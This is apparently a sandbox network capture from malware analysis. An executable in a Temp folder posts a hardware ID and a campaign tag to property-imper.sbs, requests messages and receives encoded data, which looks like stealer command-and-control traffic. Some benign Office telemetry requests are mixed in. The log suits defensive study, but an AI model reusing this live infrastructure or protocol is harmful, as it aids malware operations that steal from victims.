2024-11-23 17:22:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: abcc4943-b01e-00ab-2315-3ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172229Z-178bfbc474bwlrhlhC1NYCy3kg00000004p000000000n55f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49805	172.67.162.84	443	5236	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 17:22:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 17:22:29 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=09or2sp9qrl7n6na0sd0e4obt9; expires=Wed, 19-Mar-2025 11:09:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SsJHQ%2FPjmYB8dpc1B5fBTvPnHRVViKsHtJARaBwRAq8rHxvtdxcDeXQsHV7oHTXeEozlZEoV468dD4OXIRO7NrsAB9OKm6MKNsRyRXTzlImBgNMuH0QUxz0Qhjp6fr%2BTeLL3Mlc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7750aac17ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1483&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1894873&cwnd=171&unsent_bytes=0&cid=42884172711d972a&ts=727&x=0"
2024-11-23 17:22:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 17:22:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49806	172.67.162.84	443	7632	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:29 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HECYQEI707DWO1BA9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1269 Host: property-imper.sbs
2024-11-23 17:22:29 UTC	1269	OUT	Data Raw: 2d 2d 48 45 43 59 51 45 49 37 30 37 44 57 4f 31 42 41 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 48 45 43 59 51 45 49 37 30 37 44 57 4f 31 42 41 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 45 43 59 51 45 49 37 30 37 44 57 4f 31 42 41 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --HECYQEI707DWO1BA9Content-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--HECYQEI707DWO1BA9Content-Disposition: form-data; name="pid"1--HECYQEI707DWO1BA9Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-23 17:22:30 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9io4ha2doi64r5cfsgpcgk2nfn; expires=Wed, 19-Mar-2025 11:09:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kv0Ks4abPepvgrq1Rb06%2BbipwsPFiyirFct%2BMJMkPyUi%2BkDVLER8GpGPuGxzH2nvZ7AvuINb6zLWPiL7IGSrE5Ndu%2BxZOSZ%2FnNUDQbT3yuFiernML9EVDEC4bYzsW6CwzEPb6Dc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7777e8842f1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1740&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2187&delivery_rate=1642294&cwnd=195&unsent_bytes=0&cid=ad29e4d559be5411&ts=636&x=0"
2024-11-23 17:22:30 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:30 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172230Z-178bfbc474bgvl54hC1NYCsfuw00000004ug000000002ym0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49812	172.67.162.84	443	5236	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:31 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 17:22:31 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 17:22:31 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7dhhnfre431fs6e7hqssu90poj; expires=Wed, 19-Mar-2025 11:09:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pq7SJ7%2BYt1CO%2Ffim7g79lqenuzQLGoZfkTFKR92i1lY0fcAJJgc7O1PIDsRx6v8MBCydC0s0ZN8My8ry%2F7E2nz%2BnFdPFiIV5omfq4TXwMeJkcKk0RZUjRHlDs9UdSgeGXh5pX9Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7830f8f42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1769&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=955&delivery_rate=1612368&cwnd=227&unsent_bytes=0&cid=c6772a7e07b3e853&ts=914&x=0"
2024-11-23 17:22:31 UTC	354	IN	Data Raw: 31 64 37 63 0d 0a 33 2f 52 59 73 5a 76 79 4e 73 6a 67 4c 62 4d 54 46 53 38 4c 42 33 38 73 63 6d 6f 76 72 43 30 62 79 58 2b 70 54 66 53 4d 45 4a 65 6b 31 69 36 54 6f 63 59 61 36 70 4e 49 6b 53 6c 68 58 58 35 69 55 77 34 54 44 67 32 57 53 33 71 6c 44 4d 78 68 31 76 70 39 74 65 57 53 4f 64 33 6f 6c 78 72 71 68 56 57 52 4b 55 35 55 4b 57 49 52 44 6b 68 49 53 73 5a 50 65 71 55 64 79 43 61 62 2f 48 7a 30 74 35 67 2f 32 66 36 52 55 71 6d 4d 51 4e 5a 32 63 45 35 68 61 52 5a 42 47 67 63 4e 67 41 39 2b 73 31 32 54 62 37 6e 70 5a 50 61 53 6c 53 76 61 75 59 38 61 73 38 4a 49 33 54 45 76 44 57 70 69 48 55 41 55 44 6b 54 45 52 58 4f 74 48 4d 30 6e 68 4f 56 32 2f 37 65 57 50 4e 6a 30 6d 45 61 6b 68 6b 66 64 63 48 70 4f 4b 53 74 64 53 51 68 49 46 59 34 63 53 36 67 4d 32 Data Ascii: 1d7c3/RYsZvyNsjgLbMTFS8LB38scmovrC0byX+pTfSMEJek1i6TocYa6pNIkSlhXX5iUw4TDg2WS3qlDMxh1vp9teWSOd3olxrqhVWRKU5UKWIRDkhISsZPeqUdyCab/Hz0t5g/2f6RUqmMQNZ2cE5haRZBGgcNgA9+s12Tb7npZPaSlSvauY8as8JI3TEvDWpiHUAUDkTERXOtHM0nhOV2/7eWPNj0mEakhkfdcHpOKStdSQhIFY4cS6gM2
2024-11-23 17:22:31 UTC	1369	IN	Data Raw: 6e 56 53 34 69 6b 54 61 64 47 56 47 59 47 67 51 54 68 30 43 51 73 31 50 66 71 45 58 78 43 57 53 34 33 2f 7a 76 5a 5a 36 6e 62 6d 58 54 4f 72 61 44 2f 4a 30 5a 30 70 6c 63 31 39 30 55 42 63 44 31 77 39 2b 70 31 32 54 62 35 37 72 63 66 61 32 6d 54 6e 62 38 6f 4a 55 75 49 52 43 31 47 4e 78 53 47 64 76 48 6c 77 61 42 6b 76 4e 52 6e 4b 69 47 4d 77 72 31 71 41 79 38 71 58 57 59 70 50 59 6e 56 2b 6d 69 46 6a 52 4d 57 67 44 63 43 55 61 51 6c 42 51 44 63 70 4f 66 61 6f 5a 78 53 47 53 34 6e 54 37 73 4a 6b 38 32 66 6d 58 58 71 4b 4b 54 74 78 36 65 45 31 73 61 42 6c 49 48 41 6c 49 6a 67 45 35 72 41 57 4c 64 39 62 41 64 66 61 76 31 41 2f 51 39 35 35 54 76 4d 4a 51 6e 32 67 33 53 6d 55 6c 52 51 34 65 44 55 4c 63 54 6d 75 75 45 39 6b 6a 6b 2b 68 2f 39 72 4f 57 50 39 54 Data Ascii: nVS4ikTadGVGYGgQTh0CQs1PfqEXxCWS43/zvZZ6nbmXTOraD/J0Z0plc190UBcD1w9+p12Tb57rcfa2mTnb8oJUuIRC1GNxSGdvHlwaBkvNRnKiGMwr1qAy8qXWYpPYnV+miFjRMWgDcCUaQlBQDcpOfaoZxSGS4nT7sJk82fmXXqKKTtx6eE1saBlIHAlIjgE5rAWLd9bAdfav1A/Q955TvMJQn2g3SmUlRQ4eDULcTmuuE9kjk+h/9rOWP9T
2024-11-23 17:22:31 UTC	1369	IN	Data Raw: 4d 4a 51 6e 32 67 33 53 6d 55 6c 52 51 34 63 41 55 33 46 52 58 32 72 47 73 59 71 6c 65 6c 78 2b 4c 71 63 4e 4e 54 39 6e 46 32 6e 68 45 2f 57 64 58 4a 66 62 47 77 52 51 6c 42 47 44 63 6c 58 4f 66 4e 64 35 43 69 41 37 56 33 32 72 4a 39 36 7a 4c 65 4a 46 4b 32 4f 44 34 6b 78 63 45 68 68 62 68 74 47 45 42 70 49 77 45 52 34 6f 52 76 4b 49 70 72 6f 63 76 53 39 6b 44 62 54 2f 70 64 47 75 49 64 4a 77 33 73 33 41 79 6c 69 42 51 35 49 53 48 76 65 57 47 69 39 58 2f 34 73 6d 4f 42 31 34 2f 32 4a 64 4d 71 35 6c 31 6a 71 32 67 2f 61 63 58 74 4b 59 57 4d 5a 52 68 38 48 52 4e 78 4f 64 61 55 50 7a 43 2b 66 34 48 33 35 74 4a 73 39 33 76 4b 61 57 61 36 46 54 70 45 2f 4e 30 70 78 4a 55 55 4f 4a 68 68 41 77 6d 46 79 70 78 53 4c 4d 4e 6a 33 4d 76 4b 78 31 6d 4b 54 2f 5a 78 63 Data Ascii: MJQn2g3SmUlRQ4cAU3FRX2rGsYqlelx+LqcNNT9nF2nhE/WdXJfbGwRQlBGDclXOfNd5CiA7V32rJ96zLeJFK2OD4kxcEhhbhtGEBpIwER4oRvKIprocvS9kDbT/pdGuIdJw3s3AyliBQ5ISHveWGi9X/4smOB14/2JdMq5l1jq2g/acXtKYWMZRh8HRNxOdaUPzC+f4H35tJs93vKaWa6FTpE/N0pxJUUOJhhAwmFypxSLMNj3MvKx1mKT/Zxc
2024-11-23 17:22:31 UTC	1369	IN	Data Raw: 52 30 63 30 70 74 59 78 49 4f 58 6b 68 4b 31 67 38 68 36 7a 4c 73 47 74 54 50 53 4c 57 69 32 43 4f 54 2f 70 77 55 38 73 4a 44 30 6e 31 2f 51 6d 39 73 45 55 51 5a 41 30 48 46 53 33 57 69 47 4d 30 75 6b 2b 74 7a 38 62 47 63 50 4e 44 36 6e 31 75 6c 69 67 2b 66 4d 58 42 56 4b 54 31 64 61 77 63 44 51 38 67 50 5a 75 55 45 69 79 69 61 72 69 71 31 73 5a 38 38 31 66 79 63 56 61 79 4b 53 74 6c 31 64 6b 74 76 5a 68 4a 4b 46 51 6c 43 79 6b 4e 33 6f 52 7a 4b 49 35 33 68 65 66 44 39 32 48 72 55 34 64 41 4d 36 72 4e 4d 78 32 5a 6e 51 53 6c 36 55 31 64 51 44 30 47 4f 46 7a 6d 71 44 38 45 6c 6d 4f 74 39 38 4c 36 5a 50 64 37 2f 6e 46 36 6a 69 6b 6e 65 65 47 56 4f 5a 57 73 61 51 42 77 47 51 4d 52 4d 64 4f 74 54 69 79 69 4f 72 69 71 31 6b 5a 45 33 2f 66 4b 63 55 2b 71 64 41 Data Ascii: R0c0ptYxIOXkhK1g8h6zLsGtTPSLWi2COT/pwU8sJD0n1/Qm9sEUQZA0HFS3WiGM0uk+tz8bGcPND6n1ulig+fMXBVKT1dawcDQ8gPZuUEiyiariq1sZ881fycVayKStl1dktvZhJKFQlCykN3oRzKI53hefD92HrU4dAM6rNMx2ZnQSl6U1dQD0GOFzmqD8ElmOt98L6ZPd7/nF6jikneeGVOZWsaQBwGQMRMdOtTiyiOriq1kZE3/fKcU+qdA
2024-11-23 17:22:31 UTC	1369	IN	Data Raw: 4e 62 6e 31 64 46 6c 41 2b 53 74 35 66 65 75 6b 73 33 53 79 41 35 58 2f 35 2f 59 6c 30 79 72 6d 58 57 4f 72 61 44 39 64 2b 66 6b 35 6d 5a 42 52 43 48 51 31 45 79 30 35 2f 72 78 66 42 4c 35 44 6f 63 2f 43 33 6c 54 76 5a 38 4a 64 63 72 59 46 64 6b 54 38 33 53 6e 45 6c 52 51 34 35 44 31 2f 41 58 7a 6d 30 55 39 4a 76 6b 65 49 79 72 66 32 53 4d 4e 7a 39 6c 31 69 73 68 30 6e 63 63 48 68 4d 61 57 6f 5a 52 52 6b 4f 54 4d 4e 4b 64 4b 38 50 77 53 53 5a 34 6e 76 35 73 4e 5a 30 6b 2f 36 49 46 50 4c 43 66 74 78 2f 65 55 70 2f 4a 51 49 41 43 55 68 4b 77 67 38 68 36 78 7a 48 49 4a 58 68 63 66 61 38 6e 43 6a 42 39 5a 6c 63 72 34 35 45 33 33 64 6c 53 32 5a 73 48 6b 30 5a 44 30 58 43 52 58 71 73 58 59 56 76 6b 66 59 79 72 66 32 31 4c 63 50 30 30 45 76 6b 6d 77 2f 57 66 54 Data Ascii: Nbn1dFlA+St5feuks3SyA5X/5/Yl0yrmXWOraD9d+fk5mZBRCHQ1Ey05/rxfBL5Doc/C3lTvZ8JdcrYFdkT83SnElRQ45D1/AXzm0U9JvkeIyrf2SMNz9l1ish0nccHhMaWoZRRkOTMNKdK8PwSSZ4nv5sNZ0k/6IFPLCftx/eUp/JQIACUhKwg8h6xzHIJXhcfa8nCjB9Zlcr45E33dlS2ZsHk0ZD0XCRXqsXYVvkfYyrf21LcP00Evkmw/WfT
2024-11-23 17:22:31 UTC	1369	IN	Data Raw: 44 30 73 57 42 30 4c 48 52 6e 32 6a 48 73 73 72 6b 75 6c 33 39 72 47 64 50 64 44 32 6c 46 32 6b 69 30 43 52 50 7a 64 4b 63 53 56 46 44 6a 45 54 54 73 4a 43 4f 62 52 54 30 6d 2b 52 34 6a 4b 74 2f 5a 6f 30 31 76 6d 61 55 71 36 48 53 64 74 30 64 30 5a 71 61 68 6c 49 46 41 64 4e 78 55 5a 34 72 52 6a 42 4a 4a 44 6a 63 66 4f 37 31 6e 53 54 2f 6f 67 55 38 73 4a 76 79 6e 78 37 53 69 6c 36 55 31 64 51 44 30 47 4f 46 7a 6d 67 45 63 38 6f 6c 75 4e 78 2f 62 69 53 4d 4e 62 35 6d 45 61 69 67 6b 6a 44 59 33 64 45 62 47 6b 65 54 68 51 4f 52 4d 68 4d 66 65 74 54 69 79 69 4f 72 69 71 31 6b 4a 6f 39 2b 76 36 4c 46 4c 58 4d 56 70 46 32 65 77 30 78 4a 52 78 46 47 67 64 41 7a 55 6c 36 6f 42 6a 42 4c 70 48 6d 66 2b 65 2b 6d 54 58 58 2b 5a 39 53 72 49 4e 41 31 33 5a 2b 54 47 46 Data Ascii: D0sWB0LHRn2jHssrkul39rGdPdD2lF2ki0CRPzdKcSVFDjETTsJCObRT0m+R4jKt/Zo01vmaUq6HSdt0d0ZqahlIFAdNxUZ4rRjBJJDjcfO71nST/ogU8sJvynx7Sil6U1dQD0GOFzmgEc8oluNx/biSMNb5mEaigkjDY3dEbGkeThQORMhMfetTiyiOriq1kJo9+v6LFLXMVpF2ew0xJRxFGgdAzUl6oBjBLpHmf+e+mTXX+Z9SrINA13Z+TGF
2024-11-23 17:22:31 UTC	357	IN	Data Raw: 6a 5a 71 32 45 56 2b 75 78 72 63 49 4e 61 67 4d 76 72 39 7a 67 4f 54 38 4a 64 50 75 35 52 43 77 58 59 33 63 69 63 6c 42 51 35 49 53 48 6a 4e 51 58 65 73 43 39 70 69 73 66 68 34 38 71 32 52 4c 64 79 35 33 68 53 73 77 68 65 43 50 7a 64 4a 65 43 56 46 48 6b 4a 54 47 4a 30 59 4b 66 6b 43 68 54 62 57 2b 44 4b 74 37 39 68 36 77 62 6e 49 46 4f 32 42 58 63 4e 33 64 46 74 71 49 69 4e 77 4e 78 4a 41 79 46 68 6f 6c 53 50 4d 4e 5a 76 6f 5a 65 54 78 67 7a 6e 64 39 35 64 43 36 73 77 50 33 6a 45 76 64 43 6b 74 58 58 46 65 53 46 57 4f 46 7a 6d 65 48 73 55 68 6b 66 68 6a 75 4a 71 4d 4e 39 58 75 67 52 54 6b 77 6b 6d 52 4b 53 63 44 4b 57 45 4d 44 6b 68 59 48 35 55 61 4b 76 78 4e 6d 54 44 59 39 7a 4c 6a 2f 63 35 6f 6e 62 6d 43 46 50 4c 43 43 4e 4a 6a 5a 55 74 71 63 78 34 4a Data Ascii: jZq2EV+uxrcINagMvr9zgOT8JdPu5RCwXY3ciclBQ5ISHjNQXesC9pisfh48q2RLdy53hSswheCPzdJeCVFHkJTGJ0YKfkChTbW+DKt79h6wbnIFO2BXcN3dFtqIiNwNxJAyFholSPMNZvoZeTxgznd95dC6swP3jEvdCktXXFeSFWOFzmeHsUhkfhjuJqMN9XugRTkwkmRKScDKWEMDkhYH5UaKvxNmTDY9zLj/c5onbmCFPLCCNJjZUtqcx4J
2024-11-23 17:22:31 UTC	1369	IN	Data Raw: 32 36 66 30 0d 0a 72 69 71 6e 38 39 59 6f 6b 36 48 51 45 36 6d 51 58 64 64 79 59 55 34 75 57 79 4e 4e 42 67 56 43 78 55 35 48 6c 54 50 47 4c 70 58 67 4d 4d 53 72 6d 79 72 51 2f 4a 64 71 6c 49 78 49 78 58 5a 35 53 32 6b 6c 55 77 34 66 53 42 58 33 44 7a 48 72 49 6f 56 76 6a 71 34 71 74 59 69 56 4e 4e 33 2b 68 6b 58 6e 6f 56 6e 63 66 6e 78 4d 4b 53 74 64 53 46 42 51 48 59 41 50 66 62 70 64 6b 33 2f 45 74 53 65 6d 36 73 5a 6f 7a 4c 65 4a 46 4c 7a 43 46 34 4d 2f 4e 31 38 70 50 56 30 4a 48 67 56 4d 7a 55 46 36 75 51 2f 4e 4c 49 44 74 4e 63 75 44 74 7a 66 59 39 5a 31 62 6f 62 78 78 38 48 78 38 51 57 52 71 46 6e 41 75 48 55 37 41 51 58 36 39 44 49 74 68 31 75 45 79 72 59 54 57 63 70 50 47 33 68 53 79 77 68 65 52 52 48 52 44 5a 32 49 4c 58 31 30 70 51 4d 56 44 64 Data Ascii: 26f0riqn89Yok6HQE6mQXddyYU4uWyNNBgVCxU5HlTPGLpXgMMSrmyrQ/JdqlIxIxXZ5S2klUw4fSBX3DzHrIoVvjq4qtYiVNN3+hkXnoVncfnxMKStdSFBQHYAPfbpdk3/EtSem6sZozLeJFLzCF4M/N18pPV0JHgVMzUF6uQ/NLIDtNcuDtzfY9Z1bobxx8Hx8QWRqFnAuHU7AQX69DIth1uEyrYTWcpPG3hSywheRRHRDZ2ILX10pQMVDd
2024-11-23 17:22:31 UTC	1369	IN	Data Raw: 73 68 50 78 30 39 71 75 56 66 65 33 48 74 55 4f 70 6b 6b 6e 53 54 30 6c 6d 5a 57 4d 61 56 42 63 4f 61 2b 34 50 4e 2b 73 53 69 33 65 76 72 6a 71 31 67 74 68 36 79 37 6e 49 46 4a 2b 42 51 64 39 32 59 56 77 6b 51 41 70 4e 41 41 35 4f 6a 67 45 35 72 56 32 54 66 39 69 75 64 75 54 39 7a 6d 71 42 6f 73 55 48 2f 64 49 64 7a 6a 39 75 44 58 38 6c 52 52 78 65 53 46 2b 4f 46 7a 6e 73 48 74 6b 39 6b 4f 31 6b 39 76 71 6f 42 50 58 36 67 56 36 4c 6a 31 2f 57 54 30 6c 59 61 6d 73 54 53 51 59 5a 44 59 41 50 64 75 74 46 38 6d 2f 65 6f 6e 54 32 71 39 59 46 6e 62 6d 49 46 50 4c 43 65 74 4a 2f 65 55 70 2f 64 46 42 6f 45 78 6c 48 37 30 4a 70 72 46 32 46 62 35 43 75 4b 71 62 7a 31 6a 37 43 75 63 67 45 2b 4e 6b 61 67 69 59 6e 48 33 59 72 42 41 34 47 53 42 57 63 41 54 6d 35 58 5a Data Ascii: shPx09quVfe3HtUOpkknST0lmZWMaVBcOa+4PN+sSi3evrjq1gth6y7nIFJ+BQd92YVwkQApNAA5OjgE5rV2Tf9iuduT9zmqBosUH/dIdzj9uDX8lRRxeSF+OFznsHtk9kO1k9vqoBPX6gV6Lj1/WT0lYamsTSQYZDYAPdutF8m/eonT2q9YFnbmIFPLCetJ/eUp/dFBoExlH70JprF2Fb5CuKqbz1j7CucgE+NkagiYnH3YrBA4GSBWcATm5XZ

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:31 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ea05e59b-301e-0033-4bf7-3cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172231Z-178bfbc474bh5zbqhC1NYCkdug00000004k000000000pre7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
